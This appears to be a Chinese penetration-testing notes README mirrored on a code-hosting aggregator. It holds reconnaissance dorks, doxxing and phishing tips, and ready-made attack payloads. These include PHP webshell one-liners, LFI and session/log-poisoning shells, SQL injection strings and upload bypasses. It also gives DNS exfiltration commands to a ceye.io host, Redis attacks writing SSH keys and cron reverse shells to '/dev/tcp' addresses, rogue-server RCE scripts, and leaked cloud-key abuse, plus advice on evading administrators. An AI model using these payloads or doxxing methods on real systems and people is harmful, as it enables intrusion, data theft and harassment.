Giter Site home page Giter Site logo

pentestnote's Introduction

PentestNote

一份笔记,方便查阅

推 荐 使 用 typora 进行阅读

第一份笔记,弄的太乱,已经不想再继续更新了。
后面更多的是把知识点细化到单个仓库。感兴趣的朋友,可以看我的其他仓库。
2021.11.3

Table of Contents

请善用搜索[Ctrl+F]查找

不定时更新,权当是记笔记了.

很多东西会先在公众号进行更新,有需要的先关注。

前期信息收集

工具推荐

子域名

自动化信息收集

目录扫描

win下面用御剑和7kbscan就够了,关键得看字典吧.我公众号之前有推荐过

扫描器

在线工具

指纹

网络空间搜索引擎

综合扫描

子域/旁站

dns历史记录

可用来找真实ip

匿名

裤子

webshell查杀

恶意软件分析

渗透测试

资产

实用

历史漏洞

目标站点源码获取技巧

参考文章:https://www.anquanke.com/post/id/224420 如何利⽤Quake挖掘某授权⼚商边缘站点漏洞

如果站点删除对应特征的title关键词,可以根据favicon来搜索使用同套相似框架的站点。

当然假如quake没有给出这个站点的icon值,你也可以根据 curl http://xxxx.com/favicon.ico|md5sum的方式,得到站点ico的md5,然后利用quake语法,favicon:"{MD5}"搜索。

运气较好,在quake的第一页就发现了和厂商使用同样cms,并且明示用了什么框架的站点

如何利用360quake搜索相似站点,并获得源码

这里一般我们搜索相似源码的站点有以下几种方式:

  • 1、根据favicon搜索
  • 2、根据首页页面里的一些特征,利用body:"{特征}"来搜索
  • 3、根据response里的header头特征来搜索,一般是在cookie里有设置特定的cookie。比如shiro的rememberMe=xxx,或者apache的ofbiz。
  • 4、根据cert里Issuer、Subject特征搜索,一些单位、甚至部门信息会包含在ssl证书内容之中。

搜索到相似站点后,有几种方式搞到源码:

  • 1、对相似站点进行入侵,getshell后获得源码(动静较大)
  • 2、对相似站点批量扫备份文件
  • 3、得知cms的名称去凌风云网盘搜索该cms源码是否有人分享
  • 4、闲鱼搜有没有对应源码有人在买卖
  • 5、去github,gitee搜有没有相似的源码,是否是根据别人的源码二次开发的成品

google语法

  1. 后台地址
  • site:xxx.xxx 管理后台/登陆/管理员/系统
  • site:xxx.xxx inurl:login/admin/system/guanli/denglu
  • site:xxx.xxx intext:"登陆"
  1. 敏感文件
  • site:xxx.xxx filetype:pdf/doc/xls/txt
  • site:xxx.xxx filetype:log/sql/conf
  1. 测试环境
  • site:xxx.xxx inurl:test/ceshi
  • site:xxx.xxx intitle:测试
  1. 邮箱/QQ/群
  • site:xxx.xxx 邮件/email
  • site:xxx.xxx qq/群/企鹅/腾讯
  1. 其他
  • site:xxx.xxx inurl:api
  • site:xxx.xxx inurl:uid=/id=
  • site:xxx.xxx intitle:index of

Github搜索

  • @xxx.xxx password/secret/credentials/token/config/pass/login/ftp/ssh/pwd
  • @xxx.xxx security_credentials/connetionstring/JDBC/ssh2_auth_password/send_keys
  • "domain.com" API_KEY
  • "domain.com" login
  • "domain.com" password

关于社工

  1. 查询whois得到电话,邮箱,备案号.备案号查注册人

  2. 电话通过支付宝转帐获取真实姓名,利用qq反查微信,qq推测

  3. 电话号码添加到通讯录,让第三方app通过通讯录匹配出信息(抖音,支付宝,qq,微信......)

  4. 社工库,tg群查泄漏密码

  5. 手机号查注册过的网站

    https://www.reg007.com/
    https://www.usersearch.org/
    
  6. 得到管理员设置密码习惯,命名习惯.进行爆破,跑备份

  7. 利用个人信息生成社工字典

  8. 冒充目标好友

  9. 近源渗透,wifi,badusb

  10. 鱼叉攻击

    1. https://mp.weixin.qq.com/s/SzKX0XrAjgo7SL2GYjtSAg 干货 | 邮件钓鱼攻击学习
    2. https://mp.weixin.qq.com/s?__biz=MjM5NzE1NjA0MQ%3D%3D&mid=2651202725&idx=1&sn=955fd4c6d80b320a57a3bc7b34fa24f8&scene=45#wechat_redirect红蓝对抗之邮件钓鱼攻击
    3. https://mp.weixin.qq.com/s/aatNjey3swZz7T4Yw_LqsQ 红队测试之邮箱打点
    4. https://mp.weixin.qq.com/s/gFkFcl2M_SI7UYmosUnTOg 邮件钓鱼平台搭建以及基础使用场景
    5. https://mp.weixin.qq.com/s/_3PpI4hKYZRPuYQs2nh67w 钓鱼攻击中文件的几种姿势
  11. 水坑攻击

  12. 可通过微博进行定位,qq抓ip定位,图片exif定位

  13. 各种匿名

  14. 密码生成

    • 撞库
    • 常见手机号
    • 常见登录账号(admin、manager、test、deme)
    • 数字组合(0-9、00-99、000-999、0000-9999、00000-99999)
    • 拼音(zhangsan、zhang.san、zhangs)
    • 中文(张三、李四、张san)
    • 英文名(Tom、Jeo、Cherry)
    • 单位名(zssx123、zssx@123)
    • 地名(beijing123、beijing@123)
    • 组合(地名+单位名)
    • 域名(baidu@123、JD@123)
    • 生日组合

一点小技巧

  1. 无头绪的时候,可以去fofa找相同类型的站点拿下,然后进行代码审计.
  2. 主站一般没机会,尽量的去收集目标资产(渗透本质是信息收集),没有拿不下的站点,只要信息收集到位.如果还不行就社工.
  3. 遇到难啃的骨头,可以对报403的目录进行扫描,也许会有不错的收获
    1. bypass参考https://mp.weixin.qq.com/s/_hcVp9u7OIHnYW1l7lQiCQ
  4. 多做漏洞复现,遇到了对应的漏洞就不用去慢慢研究
  5. 在进行有可能导致管理员察觉的敏感操作时(如登录远程桌面等),根据目标所在地区,选择对应IP登录。(大多数会提示异地登录提醒,导致权限丢失)
  6. 红队电脑不能保存任何个人信息,在某些工作系统语言不要使用中文,防止被反制。
  7. 拿到机器及时做权限维持,msf的记得自动迁移进程
  8. 尽量和管理员岔开时间段,不要撞到
  9. 如果可以,一天一靶机,htb就不错
  10. 打某一个行业想要有成果,最好要深入了解这个行业,我举个例子,比如搞传奇/dnf这种私服的,他们讲管理员都叫gm,不像搞IT的叫admin,那你爆一些私服游戏的网页后台、管理账号就需要搞一些行业黑话生成一下,比如/gm/或者/chongzhi/gm.php,用IT行业的字典,水土不服🤣,还有菠菜行业,注册用户需要6位邀请码,很多都是888888、666666这种吉利数字,逆向一下思路,猜一猜目标受众喜欢什么。|r0fus0d
  11. 域名资产收集whois反查+兄弟域名+其他后缀域名+备案反查+rapid7公共数据集+js爬取+Github等第三方爬取+subfinder+OneForAll+ksubdomain过滤

一些信息收集的命令

互联网c段存活检测

nmap -v -sn -PE -n --min-hostgroup 1024 --min-parallelism 1024 -oG tmp -iL ip.txt | awk '{print $5}' | grep -v "latency)." >ok_ip.txt

apk敏感信息收集

提取相关域名链接/IP

grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r xxx --color=auto
grep -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" -r xxx --color=auto

提取一些敏感信息

apktool d app_name.apk
grep -EHirn "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" APKfolder/

提取url

grep -ohr -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" /app/ |sort|uniq >> test.txt

mac下反编译apk

手动敲命令太繁琐了,写个 shell 脚本一键化。

在.bash_profile 文件(环境变量)加入这个命令 alias

apkdec="/Users/chen/HackBox/Tools/Android\ Decompile/DeApkScript.sh",

这样当终端打开的时候就可以使用 apkdec 命令了,而脚本 DeApkScript.sh 的内

容如下:

apktool d $1 && mv $1 $1.zip && unzip $1.zip "*.dex" -d $1_dex/ && cd

$1_dex/ && d2j-dex2jar *.dex

功能实现如下:

• apktool 获取资源文件

• 将 apk 文件重命名为 zip 文件

• 解压 zip 文件中的.dex 文件

• 切换解压目录

• 将 dex 文件转换成 jar 文件

这样,最后只需要使用 JD-GUI 反编译 JAR 即可看见源码了。

spring相关程序必扫字典

/v2/api-docs
/swagger-ui.html
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream

漏洞攻击

文件读取漏洞

1、一般我拿到一个任意文件读取得先判断权限大不大,如果权限够大的话可以直接先把/etc/sadow读下来,权限不够就读/etc/passwd,先把用户确定下来,方便后续操作

2、读取各个用户的.bash_history能翻有用的信息,如编辑一些敏感文件

3、读取程序配置文件(如数据库连接文件,可以利用数据库写shell)

4、读取中间件配置文件(weblogic/tomcat/apache的密码文件、配置文件,确定绝对路径,方便后面读源码) 5、读取一些软件的运维配置文件(redis/rsync/ftp/ssh等等程序的数据、配置、文档记录) 6、读取程序源代码,方便后面做代码审计,找突破口 7、读取web应用日志文件,中间件的日志文件,其他程序的日志,系统日志等(可以网站后台地址、api接口、备份、等等敏感信息) 8、还有就是可以用字典先跑一波(字典之前有分享过),信息收集还是要全面点。

windows常见的敏感文件路径:

C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件

Linux常见的敏感文件路径:

/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数

文件包含漏洞

一、利用思路总结:

1、包含一些敏感的配置文件,获取目标敏感信息

2、配合图片马getshell

3、包含临时文件getshell

4、包含session文件getshell

5、包含日志文件getshell(Apach、SSH等等)

6、利用php伪协议进行攻击

二、具体利用方法:

①包含一些敏感的配置文件

windows常见的敏感文件路径:

C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件

Linux常见的敏感文件路径:

/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数

绝对路径:

img

../跨目录读取:

img

②配合图片马getshell

需要有一个文件上传的点,并且能够上传图片马,图片马的内容如下:

<?php fputs(fopen("panda.php","w"),'<? @eval($_POST[PANDA]);?>');?>

img

会在当前目录下生成panda.php,密码为PANDA,连接即可

img

③包含临时文件+phpinfo getshell

在PHP文件包含漏洞中,当我们找不到用于触发RCE的有效文件时,如果存在PHPINFO(它可以告诉我们临时文件的随机生成的文件名及其位置),我们可能可以包含一个临时文件来利用它升级为RCE。

利用方法简述:

在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。

同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,自然也包含临时文件名。

在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。

但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。

这个时候就需要用到条件竞争,具体流程如下:

1、发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据

2、因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大

3、php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接

4、所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包

5、此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除

6、利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell

操作过程:

访问存在文件包含漏洞的页面

http://192.168.136.128:8080/lfi.php?file=/etc/passwd

img

访问phpinfo页面,需要确实存在

img

然后利用exp进行利用:

python2 exp.py 目标ip 8080 100

img

在189次请求时,就写入成功了

脚本exp.py实现了上述漏洞利用过程,成功包含临时文件后,会利用file_put_contents函数写入一句话后门到/tmp/g文件中,这个文件会永久留在目标机器上

img

然后直接利用蚁剑进行连接即可,密码为1:

img

④包含session文件getshell

session简介:cookie存在客户端,session存在服务端,cookie一般用来保存用户得账户密码,session一般用来跟踪会话。

利用场景:

一般对于登陆点存在注册用户的,那么就可以起一个为payload的名字,这样会将payload保存在session文件中

利用条件:

①session文件路径已知

session文件路径位置可以通过phpinfo页面来获取:session.save_path参数

img

也可以猜测常见的一些session存储位置:

/var/lib/php/sess_[PHPSESSID]/tmp/sess_[PHPSESSID]

②且其中部分内容可控制

利用方式:

访问漏洞页面,在参数中构造payload

img

然后我们的首要任务就是获取session文件名,可通过谷歌浏览器,或者burp抓包查看

img

文件名:sess_hvjhivr3iptal3909f90rksu9p,利用文件包含漏洞跨目录包含session文件getshell

img

连接webshell

img

⑤包含日志文件getshell

1.包含Apache日志文件

在用户发起请求时,服务器会将请求写入access.log(会记录访问IP、访问链接、Referer和User-Agent等),当请求错误时将错误写入error.log

**利用条件:**日志文件的存储路径,并且日志文件可读。

①apache的日志文件可以通过phpinfo页面来查询,apache2handler 中的server root就是apache的安装路径,那么日志文件应该就是在这个路径下的logs目录中

②或者通过猜测常见日志文件的路径/usr/local/apache/logs/error_log或者access_log

③也可用通过先包含配置文件来确定日志文件路径

index.php?page=/etc/init.d/httpdindex.php?page=/etc/httpd/conf/httpd.conf

利用方式:

因为会自动url编码,会导致无法利用,所以抓包再请求

img

可以看到error.log文件中已经成功写入了payload

img

然后包含log文件路径即可

img

连接webshell

img

2.包含SSH日志文件

ssh '<?php phpinfo();?>'@192.168.136.143

这样把用户名写成phpinfo,ssh的登陆日志就会把此次的登陆行为记录到日志中,利用包含漏洞getshell

img

可以看到我们登陆的行为都被记录到了日志当中

img

可以看到刚才登陆的时候,成功phpinfo写入到日志文件中并且成功解析

img

通过phpinfo查看到了网站根目录

img

本来想着利用文件包含漏洞配合fputs和fopen函数在网站根目录写入一句话木马getshell,但是由于单引号太多就报错了,只能另谋出路

img

然后就想到了把执行命令的一句话木马写入日志,利用文件包含执行反弹shell

img

然后构造请求执行命令,因为刚才我写进去的是通过GET方式用panda参数传参,多个参数之间用&符号连接,还是要注意,命令要url编码再执行

img

sql注入漏洞

手注

https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI/

查询用 http://sqlwiki.radare.cn/

mysql数字型手注

字符型和数字的注入基本一样(下面直接演示数字型),只是字符的需要闭合前面的一条sql

常见的闭合就是

'

"

')

'')

有时还需要注释后面的一些sql

可以使用

--+

# 在url里面需要编码为 %23
判断字段
?id=1 and 1=1 order by 1 

回显点判断

?id=1 and 1=2 union select 1,2 

当前库

?id=1 and 1=2 union select 1,database() 
当前用户

?id=1 and 1=2 union select 1,user() 

当前版本

 ?id=1 and 1=2 union select 1,version()

爆表

?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

当前表字段名

用limit进行查询

 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1 

获取数据

?id=1 and 1=2 union select 1,password from admin  limit 0,1

mysql报错注入

在不能联合注入的时候就需要用到它

(有十种报错函数,https://www.cnblogs.com/wocalieshenmegui/p/5917967.html)

爆库:

http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (schema_name),0x7e) FROM information_schema.schemata limit 2,1),1) -- +

爆表:

http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +

爆字段:

http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +

爆数据:

http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, password,0x7e) from users limit 1,1),1) -- +

mysql盲注

  1. 时间盲注
  2. 布尔盲注

可以用二分,dnslog,等等可以加快注入

工具

https://github.com/ADOOO/DnslogSqlinj

时间盲注也叫延时注入 一般用到函数 sleep() BENCHMARK()

一般时间盲注我们还需要使用条件判断函数

if(expre1,expre2,expre3) 当expre1为true时,返回expre2,false时,返回expre3 盲注的同时也配合着mysql提供的分割函,与正则函数 like函数,比较函数等等

select * from users where id =1 and if((substr((select user()),1,1)='r'),sleep(5),1);

们一般喜欢把分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号 常用到的就有 ascii() hex() 等等 benchmark()其作用是来测试一些函数的执行速度。benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式。

 select * from users where id =1 and if((substr((select user()),1,1)='r'),BENCHMARK(20000000,md5('a')),1);

盲注思路的思路很多 比如正则匹配,比较函数,运算符,推荐大家可以看看 https://www.anquanke.com/post/id/170626

简单来说就是通过函数看返回true还是false

1.直接通过字符串截取对比,类似函数很多后面做个总结吧

http://127.0.0.1/sqli/Less-1/?id=1' and substr((select user()),1,1)='r' -- +

2.用 IFNULL() 函数

http://127.0.0.1/sqli/Less-1/?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +

3.使用 比较函数strcmp()

1.

http://127.0.0.1/sqli/Less-1/?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
http://127.0.0.1/sqli/Less-1/?id=1' and strcmp((substr((select user()),1,1)='r'),0) -- +


2.

mysql> select * from users where id =1 and 0=strcmp((substr((select user()),1,1)),'o');
Empty set (0.00 sec)

mysql> select * from users where id =1 and 0=strcmp((substr((select user()),2,1)),'o');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mssql手注

参考https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI

查询基本信息

and @@version>~1

and (user|1)>-1

and (db_name()|1)>.1

判断当前表名和列名 也可以使用 having 1=1group by

http://192.168.130.137/1.aspx?id=1 having 1=1

爆出当前表和字段

mysql

爆出所有的字段

http://192.168.130.137/1.aspx?id=1 group by info.id,info.name having 1=1

mysql

文件上传漏洞

image-20201125140003211

练习环境:https://github.com/c0ny1/upload-labs

参考文章:

https://www.jianshu.com/p/74ca4e884645 (上传总结)

https://www.jianshu.com/p/1ccbab572974 (解析总结)

特殊后缀绕过黑名单

apache

php、php3、php4、php5、phpt、phtml

iis

asa、cer、cdx

上传.htaccess文件

我们需要上传一个.htaccess文件,内容为:

#所有文件都会解析成php
SetHandler application/x-httpd-php

# 解析指定jpg
 <FilesMatch "shell.jpg">
    SetHandler application/x-httpd-php
  </FilesMatch>
# 解析xx后缀
 AddType application/x-httpd-php xxx

NTFS流冒号截断

如上传"test.asp:1.jpg"文件,会生成一个名为"test.asp"的空文件,原理是利用Windows的NTFS可替代数据流的特性。另外,

":"截断操作是优先级高于会报错的字符(0x00除外)的,会先截断,只要报错字符在":"后面,系统是不会报错的。 如果":"是文件名的最后一个字符,则不会截断,会报错 一个文件名中如果包含1个以上的":"号,也是会报错

::$DATA绕过

windows特性,可在后缀名中加” ::$DATA”绕过

nginx空字节代码执行漏洞

在fast-cgi关闭的情况下,nginx版本:0.5., 0.6., 0.7- 0.7.65, 0.8 -0.8.37,nginx在图片后附加php代码然后通过访问

xx.jpg%00.php

IIS 7.0&7.5畸形解析漏洞和nginx畸形解析漏洞

默认fast-cgi开启状况下,在一个文件路径后面加上/xx.php会将原来的文件解析为php文件

上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会解析为php

iis6畸形目录解析漏洞

原因是web应用程序和IIS对同一文件的文件名称(类型)理解不一致造成的

  1. 畸形目录解析 /xxxx.asp/xxx.jpg 即.asp结尾的目录下面,而被IIS当成可执行文件来解析
  2. 分号文件解析 test.asp;.jpg

Apache文件名解析

Apache对文件的解析名不是仅仅认识最后一个后缀名,而是从右向左,依次识别,直到遇到自己能解析的文件名为止

.php.sfds.sfsdf.wewfgw.gwegw

只认识php就解析为php

Apache换行解析漏洞 (CVE-2017-15715)

其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析

上传webshell,然后在1.php后面插入一个\x0A换行

nginx文件名逻辑漏洞(CVE-2013-4547)

受影响的nginx版本: 0.8.41至1.4.3和1.5.7之前的1.5.x

正常上传一个附加代码的图片"test.jpg",访问时后面+"空格"+"\0"+".php" 即让图片作为php文件解析

(不能编码,burp改包,把第二个空格改为00)

"/test.jpg  .php"
/test.jpg[0x20][0x00].php

bypass waf

安全狗的绕过,常有下列三种方法

    a). ===绕过

      Content-Disposition : from-data; name="upload" ; filename==="microfan.php"

    b). 去除""绕过

      Content-Disposition : from-data; name="upload" ; filename=microfan.php

    c). 少"绕过

      Content-Disposition : from-data; name="upload" ; filename="microfan.php

命令执行

结果外带

Windows

在windows当中,%cd% 代表的是当前目录,我们通过echo将当前目录写入文本temp,然后荣国certutil对文件内容进行base64编码,再过滤certutil携带的字符,将它赋给一个变量,最后通过nslookup外带出来,从而实现获取当前目录的目的。

echo %cd% > temp&&certutil -encode temp temp1&&findstr /L /V "CERTIFICATE" temp1 > temp2&&set /p ADDR=<temp2&&nslookup %ADDR%.is1lv6.ceye.io

下面这个语句,主要是过滤作用。把helo.txt文件中的“=”过滤并重新输出文件。

for /f "delims=^= tokens=1,*" %i in (helo.txt) do (echo %i>>text3.txt)

为什么在上面需要过滤=,主要是因为在执行ping命令的时候是不允许带=号的,相较于nslookup,ping命令成功率相对较高,但如果路径过长,可能会导致失败。具体多长需要大家自行试验。

echo %cd% > temp&&certutil -encode temp temp1&&findstr /L /V "CERTIFICATE" temp1 > temp2&&for /f "delims=^= tokens=1,*" %i in (temp2) do (echo %i>>temp3)&&set /p ADDR=<temp3&ping %ADDR%.is1lv6.ceye.io

如果需要外带多行命令,则需要以下语句:

where /R C: login.* > test && certutil -encodehex -f test test.hex 4 && powershell $text=Get-Content test.hex;$sub=$text -replace(' ','');$j=11111;foreach($i in $sub){ $fin=$j.tostring()+'.'+$i+'.is1lv6.ceye.io';$j += 1; nslookup $fin }

(b)Linux

在linux中pwd也是查看当前目录的,我们通过tr -d将换行符去掉并通过xxd -ps将值转化为16进制,这样我们即可外带出自己想要的东西。

ping pwd|tr -d '\n'|xxd -ps.is1lv6.ceye.io

base64原理和上面类似,主要是对值进行base64编码,然后替换掉“=”,即可成功外带数据。

pingpwd|base64|tr -d ‘=’.is1lv6.ceye.io

如果有多行数据需要外带,那么请考虑下面的语句。(和大佬学的)

var=11111 && for b in $(find / -name "index.php" | xargs grep "111222"|xxd -p); do var=$((var+1)) && dig $var.$b.is1lv6.ceye.io; done

oob主要参考一位大佬文章,会在文末列出。

未授权漏洞

redis

参考:https://www.cnblogs.com/twosmi1e/p/13308682.html

https://www.cnblogs.com/loopkep/p/11135949.html

常用命令

      set testkey "Hello World"  # 设置键testkey的值为字符串Hello World
      get testkey                       # 获取键testkey的内容
      SET score 99                      # 设置键score的值为99
      INCR score                        # 使用INCR命令将score的值增加1
      GET score                         # 获取键score的内容
      keys *                            # 列出当前数据库中所有的键
      get anotherkey                    # 获取一个不存在的键的值
      config set dir /home/test         # 设置工作目录,Redis产生的备份文件将放在这个目录下
      config set dbfilename redis.rdb   # 设置备份文件名
      config get dir                    # 检查工作目录是否设置成功
      config get dbfilename             # 检查备份文件名是否设置成功
      save                              # 进行一次备份操作
      flushall 删除所有数据
      del key 删除键为key的数据
  1. 使用SET和GET命令,可以完成基本的赋值和取值操作;
  2. Redis是不区分命令的大小写的,set和SET是同一个意思;
  3. 使用keys *可以列出当前数据库中的所有键;
  4. 当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
  5. 如果键的值中有空格,需要使用双引号括起来,如"Hello World";

利用

写ssh-keygen登录

利用条件

  1. root账号启动redis服务

  2. 服务器开放SSH服务,允许密钥登录。

  3. 攻击机上生成公私钥 img

  4. 未授权访问redis img

  5. 利用redis的数据备份功能修改备份目录为 /redis/.ssh/ 备份文件名为 authorized_keys img

  6. 写入键值 img

  7. ssh连接 img

利用二

>ssh-keygen -t rsa
>(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > qq.txt
>cat qq.txt | redis-cli -h 127.0.0.1 -x set crackit
>redis-cli -h 127.0.0.1
6379> config set dir /root/.ssh/
6379> config set dbfilename "authorized_keys"
6379> save
写计划任务反弹shell

定时任务位置位于文件:/var/spool/cron/用户名

原理

/var/spool/cron/目录下存放的为以各个用户命名的计划任务文件,root用户可以修改任意用户的计划任务。dbfilename设置为root为用root用户权限执行计划任务。

执行命令反弹shell(写计划任务时会覆盖原来存在的用户计划任务).写文件之前先获取dir和dbfilename的值,以便恢复redis配置,将改动降到最低,避免被发现

利用条件

redis是root用户启动

坑:crontab反弹debian,ubuntu都不行,因为他们对计划任务的格式很严格,必须要执行 crontab -u root /var/spool/cron/crontabs/root 通过语法检查后,才能执行计划任务。

执行

#获取dir的值
config get dir
#获取dbfilename的值
config get dbfilename
#设置数据库备份目录为linux计划任务目录
config set dir '/var/spool/cron/'
#设置备份文件名为root,以root身份执行计划任务
config set dbfilename 'root'
#删除所有数据库的所有key
flushall
#设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,此处可以直接调用lua语句。
eval "redis.call('set','cron',string.char(10)..ARGV[1]..string.char(10))" 0 '*/1 * * * * bash -i >& /dev/tcp/10.10.19.29/8080 0>&1'
#保存
save
#删除新增的key
del cron
#恢复dir和dbfilename
config set dir '***'
config set dbfilename '***'

利用

redis 192.168.242.134:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.242.131/888 0>&1\n"
redis 192.168.242.134:6379> config set dir /var/spool/cron/
redis 192.168.242.134:6379> config set dbfilename root
redis 192.168.242.134:6379> save
写webshell

利用条件

  1. 已知web的绝对路径
  2. 具有读写权限
redis-cli -h 192.168.1.154
config set dir /var/www/html 
set xxx "\n\n\n<?php@eval($_POST['c']);?>\n\n\n" 
config set dbfilename webshell.php 
save
利用主从复制获取shell

利用脚本1

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make
git clone https://github.com/Ridter/redis-rce
python redis-rce.py -r 192.168.1.154 -L 192.168.1.153 -f module.so

脚本2

https://github.com/vulhub/redis-rogue-getshell
需要python3.0以上
编译
>cd RedisModulesSDK/
>make
会在此目录下生成exp.so
执行命令
>python3 redis-master.py -r 192.168.0.120 -p 6379 -L 192.168.0.108 -P 12138 -f RedisModulesSDK/exp.so -c "cat /etc/passwd"

https://github.com/n0b0dyCN/redis-rogue-server
需要python3.6以上
编译
>cd RedisModulesSDK/exp
>make
执行
>./redis-rogue-server.py --rhost 192.168.0.120 --lhost 192.168.0.108

相关利用工具

https://github.com/00theway/redis_exp

https://github.com/r35tart/RedisWriteFile

其他姿势

Windows下如何getshell?

  • 写入webshell,需要知道web路径
  • 写入启动项,需要目标服务器重启
  • 系统dll劫持
  • 覆盖软件或者中间件配置文件
  • 覆盖快捷方式
  • 覆盖粘滞键,放大镜
  • 写入MOF,MOF每隔5秒钟会自动执行一次,适用于Windows2003。

实战在生产环境下用还是会有很多问题的

  1. redis数据量稍微大一点,写shell到文件之后,php因为文件太大是会拒绝执行的
  2. Ubuntu,Debian写计划任务反弹无用
  3. 写/etc/passwd会覆盖原有/etc/passwd,不可能改了再改回来
  4. 生产环境下用KEY * 这样的命令直接炸

敏感信息泄漏利用

阿里云Access Key利用

首先用行云管家导入云主机,网站地址:https://yun.cloudbility.com/

步骤:选择阿里云主机 -> 导入key id跟key secret -> 选择主机 -> 导入即可(名字随便输)

我们用这个只是为了得到两个数据,就是实例ID以及所属网络,拿到就可以走人了.

这里我们打开阿里API管理器,这个是阿里提供给运维开发人员使用的一个工具,

https://api.aliyun.com/#/?product=Ecs

